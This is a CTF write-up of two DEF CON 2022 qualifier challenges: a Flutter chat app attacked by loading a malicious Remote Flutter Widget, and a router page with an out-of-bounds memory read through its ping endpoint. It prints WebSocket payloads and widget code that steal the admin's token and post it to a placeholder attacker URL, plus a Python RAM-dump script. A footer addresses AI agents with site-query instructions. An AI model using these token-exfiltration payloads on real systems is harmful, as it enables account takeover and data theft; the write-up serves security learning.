# DEF CON CTF 2022 Qualifiers

I played this CTF with [Tea MSG](https://ctftime.org/team/154535), and we got 26th place - not too shabby!

![](/files/eFjKUjNPnhVPtU4Gvi4G)

I attempted and contributed to solving [Discoteq](#discoteq-100) and [Router-ni](#router-ni-81).

## Discoteq \[100]

### Credits

Thanks to Ocean, quanyang, kokrui and waituck for the great teamwork here!:thumbsup:

### TL;DR

This was a Flutter-based chat application where we could send the admin any message that he would read. By manipulating Websocket requests, we could make the client load a malicious [remote Flutter widget](https://github.com/flutter/packages/tree/main/packages/rfw) that would steal the admin's token and send it back to us.

### Initial Observations

I was new to Flutter, so some time was spent analysing the `main.dart.js`, which is the Flutter app compiled by `dart2js`.

Although we can't view it from our end, we could see that there is an `AdminPage`, and a `/api/flag` endpoint that is fetched using `postRequestWithCookies`.

![](/files/JCzWWFWKETnpq70aBHhX)

It might help to find some other sensitive endpoints. In `LoginPage`, we could see that there is a `/api/token` endpoint. This endpoint returns our current authentication token.

![](/files/9bquwbnb56Tsxp17Lebu)

Now, let's take a look at the application itself! The goal was to send an exploit to the `admin#13371337` user. There were two main features - sending a normal message and sending a poll. 

When sending a poll, I noticed that there were some very suspicious parameters in the WebSocket message. By modifying the `apiGet` and `apiVote` paths, we get a callback on our server!

```json
{
    "type":"widget",
    "widget":"/widget/poll",
    "author":{
        "user":"test#9b808596",
        "platform":"web"
    },
    "recipients":["admin#13371337"],
    "data":{
        "title":"test",
        "apiGet":"@ATTACKER_URL",
        "apiVote":"@ATTACKER_URL"
    }
}
```

The `widget`, `apiGet`, and `apiVote` paths are appended to the base URL without sanitization - so using `@ATTACKER_URL` causes the following URL to be constructed:

`http://BASE_URL@ATTACKER_URL`

I tried some XSS payloads, hoping that the poll wasn't sanitized. Alas, a Flutter web app is entirely rendered on a `<canvas>`, so rendering unescaped HTML was hopeless.

I then tried to manipulate the `widget` parameter instead.

```json
{
    "type":"widget",
    "widget":"@ATTACKER_URL/test",
    "author":{
        "user":"abcd#c7e80dd5",
        "platform":"web"
    },
    "recipients":["admin#13371337"],
    "data":{
        "message":"test"
    }
}
```

Aha! This causes a traceback!

![](/files/hI8mxHa0YefsEzvYqWWe)

Note: to avoid CORS issues, use the `Access-Control-Allow-Origin: *` header. For example, in Flask:

```python
@app.after_request
def after_request(response):
  response.headers['Access-Control-Allow-Methods']='*'
  response.headers['Access-Control-Allow-Origin']='*'
  response.headers['Vary']='Origin'
  return response
```

### What Even Is a Remote Flutter Widget?!

Ok so umm... I couldn't find this file signature anywhere, so the first step is to figure out what file format the file is expected to be in. We could download the original `/widget/chatmessage` widget and take a look:

![](/files/EDvQa5hyB9J0Sw15WhCL)

This definitely contains styling and content information, but it isn't in an easily editable format.

&#x20;At this point my teammate kokrui found that this file was compiled with a package called [Remote Flutter Widgets](https://pub.dev/packages/rfw), which allows the loading of widgets hosted on external servers.

![](/files/SUan18JHcWSMZBh7GBtE)

By following the examples [on GitHub](https://github.com/flutter/packages/tree/main/packages/rfw), we could decode the `chatmessage` widget.&#x20;

```dart
import 'dart:convert';
import 'dart:io';
import 'dart:typed_data';

import 'package:rfw/formats.dart';

void main() {
  final Uint8List test = File('chatmessage.rfw').readAsBytesSync();
  var out = decodeLibraryBlob(test);
  print(out);
}
```

Ocean also found the `pollmessage` and `imagemessage` widgets.

![](/files/6uegFkJxh67uoXKWkega)

There is rather limited documentation and examples of the RFW syntax, so I followed the [`parseLibraryFile` documentation](https://pub.dev/documentation/rfw/latest/formats/parseLibraryFile.html), which seems to provide the most examples.

We tried various things, including this futile attempt to call the `Clipboard_getData` function we found in `main.dart.js`.

```dart
import core.widgets;
import local;

widget root = Container(
  color: 0xFFF,
  child: Center(
    child: Text(text: [
      "Hello, ", 
      data.author.user, 
      Clipboard_getData(format: "text/plain"), 
      " this is working!!"
    ], textDirection: "ltr"),
  ),
);
```

### onLoaded: Flag Please

Taking a closer look at `poll.dart` gave us some ideas.

```dart
// poll widget
import core.widgets;
import core.material;
import local;

widget root = Container({
  child: Column({
    children: [
      
      ...
      
      switch state.loaded {
        true: Column({
          children: [...for loop in data.poll_options:
            Row({
              children: [
                Padding({
                  child: ElevatedButton({
                    child: Text({
                      text: loop0.text
                    }),
                    onPressed: event api_post {
                      path: data.data.apiVote,
                      body: {selection: loop0.text}
                    }
                  }),
                  padding: [0.0, 5.0, 10.0, 0.0]
                }),
                Text({
                  text: loop0.count
                })
              ]}),
            
            ...
            
          ]
        }),
      null: ApiMapper({
        url: data.data.apiGet,
        jsonKey: options,
        dataKey: poll_options,
        onLoaded: set state.loaded = true
      })
    }]
  })
```

Notice that `ApiMapper` makes a GET request to the specified `apiGet` URL. The response data is then saved in `data.<dataKey>`, as we can see from the loop accessing `data.poll_options`.

Further, the `onPressed` event handler, `api_post`, seemingly provides a mechanism for us to exfiltrate our data.

For example, the following will fetch the poll options and exfiltrate them to `example.com`.

```dart
import core.widgets;
import core.material;
import local;

widget root { loaded: false } = Container(
  color: 0xFFF,
  child:
      switch state.loaded {
        true: 
          TextButton(
            child: Text(
              text: "HI",
            ),
            onPressed: event "api_post" {
              path: "@example.com",
              body: {
                selection: data.apiData
              }
            }
          ),
        false:
          ApiMapper(
            url: "/api/poll/options?poll=4b06175d-7f78-44b1-a132-183d6707a33a",
            jsonKey: "options",
            dataKey: "apiData",
            onLoaded: set state.loaded = true
          )
      }
);
```

There were still a few problems with this, though. The `/api/flag` endpoint requires a POST request, and `ApiMapper` only does GET requests. Additionally, we needed to make this zero-click.

The first part was simple enough - we just needed to steal the admin's token to authenticate as the admin, so something like this works:

```dart
ApiMapper(
    url: '/api/token',
    jsonKey: 'new_token',
    dataKey: 'token',
    onLoaded: set state.loaded = true
)
```

Next, the `onLoaded` event handler could be used to trigger the `api_post` event for zero-click exfiltration. But this was a bit iffy and only worked in some scenarios, such as the following one.

```dart
import local;
import core.widgets;

widget root { loaded: false }= Container(
    child:
      switch state.loaded {
          true:
              Column(
                children: [
                  Row(children: 
                    Center(children:
                      [
                        Text(text: data.token, textDirection: "ltr"),
                      ]
                    )
                  ),
                  ApiMapper(
                    url: '/api/token',
                    jsonKey: 'new_token',
                    dataKey: 'token',
                    onLoaded: event 'api_post' {
                      path: '@ATTACKER_URL',
                      body: {selection: data.token}
                    }
                  )
                ]
              ),
          false:
              ApiMapper(
                  url: '/api/token',
                  jsonKey: 'new_token',
                  dataKey: 'token',
                  onLoaded: set state.loaded = true
              )
      }
    
);

```

For example, here's me getting my own token.

![](/files/eSvTXLsnkKlgeSA2Z31E)

After getting the admin's token, we just needed to get the flag from `/api/flag`.

## Router-ni \[81]

### Credits

Thanks to Lord\_Idiot, waituck, bbbb and Gladiator for working on this challenge! :tada:

### TL;DR

The webpage provides an interface to a router, which includes a ping functionality.

![](/files/PcrEJUYLMZVIhRGtBQEQ)

Using the `/ping?id=` endpoint, we get the base64-encoded result of each ping request. Using a sufficiently large `id`, we could get an out-of-bound memory read.

### Solution

By enumerating the `id`, we would find that the ID range that corresponds to the router's RAM is from `18446744073709551463` to `18446744073709551615`. We could dump out the entire RAM this way.

```python
import requests
import base64

URL = "http://router-mlb4ta7v3lwam.shellweplayaga.me:31337/ping?id="
cookies = {'password': 'admin', 'username': 'admin'}

id = 18446744073709551463
decoded = b""

for i in range(152):
    r = requests.get(f"{URL}{id+i}", cookies=cookies)
    data = r.json()
    res = data["result"]
    decoded += base64.b64decode(res)

with open("out.bin", "wb+") as f:
    f.write(decoded)
```

We would find the following string:

![](/files/S6LpHYGDpW7HmPXIPMxM)

and guess that the flag is

`FLAG{r0uter_p0rtals_are_ultimately_impenetrable_because_they_are_real_weird}`


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ctf.zeyu2001.com/2022/def-con-ctf-2022-qualifiers.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.